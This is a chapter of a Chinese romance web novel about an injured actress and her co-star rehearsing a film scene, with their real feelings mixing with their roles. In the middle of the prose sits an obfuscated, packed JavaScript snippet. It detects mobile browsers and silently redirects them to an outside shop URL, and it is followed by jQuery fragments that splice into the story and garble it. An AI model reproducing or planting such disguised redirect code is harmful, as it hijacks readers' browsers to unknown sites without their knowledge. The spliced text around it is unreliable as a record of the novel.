【我胆小到不敢面对生命里的苦涩,只能试图用甜来化解。】
被白色纱布层层缠绕的掌心俨然已经成为行走的勋章,祝无忧不论走到哪儿都有人对她投以钦佩的目光。
祝无忧是今天早上才得知有狗仔把天台上发生的一切都直播出去了。
说实话,昨天她是存了私心的。
李顺为什么会冒险去偷周自牧的手机,是谁指使的?
何芬和刘鑫见面那天说了些什么?
这些她都还不知道。
看昨天何芬的反应,要不是李顺被逼急了,不惜绑架自己亲女儿来威胁何芬,可能何芬到现在都不可能下定决心与他离婚。
虽然不排除李顺这个人渣真能对自己女儿下手,但总会有人在背后推波助澜。
她想弄清楚一切,势必需要何芬的帮助。
这时候拉拢何芬就是绝佳的机会。
祝无忧要她一辈子都牢牢记得她这个恩情。
记得是祝无忧不计前嫌帮助她,记得是祝无忧帮她认清了李顺的真面目,记得是祝无忧用一道可能永久留疤的伤换来了她女儿的抚养权。
若是她早知道昨天还有直播,她必定得再多作会儿秀,多列举一些罪状,多激怒他一点,再多受几道伤也未尝不可。
只要能达到目的。
毕竟……
除了血飙出来的那一瞬间她感受到了点儿模糊的痛感,其它时间她还是很享受的。
迎上刀刃,翻转,将刀尖对准恶人。
这是那个胆小鬼在梦里才敢做的事。
夏日的残阳照在她身上,天台的风在耳边呼啸,看着肆无忌惮的施暴者的眼睛逐渐溢满惊恐,她觉得自己高兴地快要飘起来,心里说不出来的畅快。
别人不知她心中所想,只一味地肯定,祝无忧多多少少有点不好意思。
但纵使她内心如何翻涌,面上仍能保持云淡风轻的模样。
祝无忧一一点头谢过,拿着剧本赶往拍摄地点。
*
考虑到祝无忧的手掌受伤,为了不耽误拍摄进度,导演临时将后面的戏提到前面。
这一场戏交代了“江驰”为了保护“顾念”不被侵犯,被□□犯失手打死,也是“顾念”走上复仇不归路的开端。
拍摄场景设定在山里一间破旧的小屋,屋里堆放着各种杂物,还留有一些没有吃完的野菜,应该是上山劳作的农户歇脚用的。
里头蛛网密布,散发着一股浓浓的霉味。
整间屋子只有一扇窗,锈迹斑驳,年久失修,已经打不开了。
被侵犯和拯救女友的戏码挑战都不小,极其考验演员的爆发力和调动观众情绪的能力。
导演给祝无忧和叶行舟讲完戏,给他们五分钟自行体悟后再开拍。
两人一人从小成绩优异,一人做律师的,记词都不成问题。现在在努力让自己进入情境。
这间小屋逼仄昏暗,令人窒息。
熟悉的感觉再度袭来,祝无忧按下内心的不安,只想一条就过。
只不过……
热恋期的小情侣该是什么样的?
她努力回想。
叶行舟放下剧本,侧头看着祝无忧说:“昨天的蛋糕……甜吗?”
祝无忧觉得他问得没头没尾,现在是讨论这个问题的时候吗?
“作为你的男朋友,我觉得我应该得到你的反馈,下次也好改进。”
叶行舟的解释来得很快,祝无忧反应过来,原来他是为了更好入戏。
说不清楚自己是失望更多一些还是理解更多一些,祝无忧点点头:“很甜。”
“那就好。”
两人一问一答,是一对处在试探期的情侣。
“昨天……你太冲动了。”
他的语气不满居多,又带有几许怕惹女朋友不快的顾虑。
“你是今天第一个没有夸我的人。”
祝无忧怔愣过后抿唇一笑,嘴角翘起恰到好处的弧度,对讲机里发出的电流声好似穿透了叶行舟的心窝。
砰砰——
叶行舟皱眉:“空手接白刃是什么值得夸耀的举动吗?”
他真想看看祝无忧和所有表扬她的人脑子里装的都是些什么。
“在力所能及的范围救人才是对自己和被挟持的人质负责。”
叶行舟觉得以这姑娘的性格肯定会出言反驳,什么“我心中有数”“我不会让他伤到我”“这种人不过就是表面硬撑,内里最为懦弱”……
可她没有。
她什么话也没说。
微扬的嘴角慢慢下塌,剔透的眼珠逐渐笼上一层薄雾。
她呆呆地注视前方,眼睛不得聚焦。
又是那个表情。
叶行舟已经见过好几次她这样茫然的神情。
她回归剧组后的第一场戏,房车上不得不出言刺伤后她望向车外的那刻,还有昨日她抚上他鼻梁的时候……
明明祝无忧就在眼前,他却觉得她远在天边,遥不可及。
叶行舟很少有心里烦乱的时候,可自与她重逢以来,仅有的几次焦躁都和她有关。
眼前的祝无忧与他记忆里那个活泼肆意的祝无忧相去甚远,他几乎是迫不及待地想要知道她到底发生了什么才会变成现在这样——
沉静、哀伤、疯狂……
“那你呢?”
祝无忧转身抬头看他,尾音带着几分哽咽,不仔细听难以察觉。
“你有什么资格说我?你做到了吗?”
凄婉的神色转瞬间消失不见,眼里涌起的水汽化作冰棱扎向叶行舟的血肉。
被她咬牙切齿的责问刺到,叶行舟傻了将近有半分钟,他翻遍所有与祝无忧相处过的片段,找不到一处可以用作解答的记忆。
“我……”
“江驰,你也没做到。”
祝无忧说完,不再看他。
情绪退散,她又变回那个无悲无喜的祝无忧。
原来,是江驰。
确实,是江驰。
尽管江驰已经尽可能冷静下来,在发现女友被掳后第一时间报警。
可是少年人的爱恋情浓难以自抑,在发现自己女友可能被欺辱、被伤害,又有谁能在争分夺秒之际去考虑那周全的营救计划。
那可是自己的女朋友,将来的妻子,与自己相守一生的爱侣!
换做叶行舟,他想,他也会这么做。
付出生命,在所不惜。
叶行舟没有将自己内心的真实想法说出口,他同样心疼那个痛失爱人,踽踽独行多年实行复仇计划的顾念。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615231|206060||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>“对不起。”
他低头看着祝无忧红红的眼眶道,无比郑重。
祝无忧没再说话,叶行舟只当她轻颤的睫毛做出了回应。
“你的伤,还疼吗?”
叶行舟视线下移,她的右手此刻只余一条纱布紧紧覆盖伤处,表面被涂上皮肤的颜色,除了略有凸出,几乎看不出差别。
今天有许多人和祝无忧打过招呼。
有人说她好勇敢,有人说她好酷,有人为轻信谣言而对她抱有偏见而道歉。
却没有一个人问过她疼不疼。
“不疼。”
祝无忧蜷起手掌,往身后藏。
手部肌肉扯到伤口,泛起丝丝阵痛。
祝无忧其实很怕痛。
小的时候,有一次听到父母汽车开回家的声音。
她跳下沙发,拔腿就往外冲,一个不留神跌在了台阶上,小腿肚刮蹭掉了好大一块皮。
裸露的新肉以一种残忍的方式现世,连空气都成了硫酸。
泪水糊了满脸,她哭得声嘶力竭,听不到保姆的惊呼,连见到父母的欣喜都忘了个干净。
只不过后来,擦破皮肉的刺痛被母亲温柔的安抚替代。
父亲母亲没有责怪她的鲁莽和不端庄,反而爱怜地用碘酒药膏修复幼童稚嫩的皮肤。
原来,疼痛能换来疼爱。
这颗种子就这样在祝无忧朴素的价值观里种下。
昨天决意去夺匕首的时候,她也犹豫过,只不过掌心碰触到刀刃时不是想象中冰冷的寒意,而是阳光滋润下的暖意,甚至还有些灼热。
她莫名想到母亲温软的怀抱。
于是,利刃割破表皮,涌出汩汩暖流。
她觉得很暖。
她觉得被匕首割开血肉与摔倒擦破皮的痛感一致。
痛觉传至中枢神经,等她后知后觉,那时,连缝合都要结束了。
原来,没察觉到疼痛也能换来疼爱。
祝无忧突然有点恨叶行舟了。
与他在一起的每时每刻她都在内心不断提醒自己——
他不是江驰,他是叶行舟。
江驰在那个世界。
江驰已经死了。
叶行舟不是江驰。
可是,他总能在祝无忧放松戒备的时候破开堡垒,直捣长龙。
他们真的太像了。
说的话,做的事。
无一不像他。
叶行舟对上祝无忧倔强的目光,她不闪不避,眼里布满揉碎的星光,微弱地闪烁着。
“好。”
叶行舟听见自己轰鸣的心跳声。
“不疼最好。”
他转过身,率先移开视线,摄像机正好挪了过来。
“不疼的话,可以自己吃蛋糕。”
他盯着倒计时。
十、九、八……
“疼也没事。”
七、六、五……
“疼的话,我喂你吃蛋糕。”
四、三、二……
或许连叶行舟自己都没有想明白,这些话,是“江驰”说给“顾念”听的,还是他叶行舟说给祝无忧听的。
倒计时归零,叶行舟感受到自己的袖子被扯动,下一秒,小拇指被握住。
“我想和你在一起。”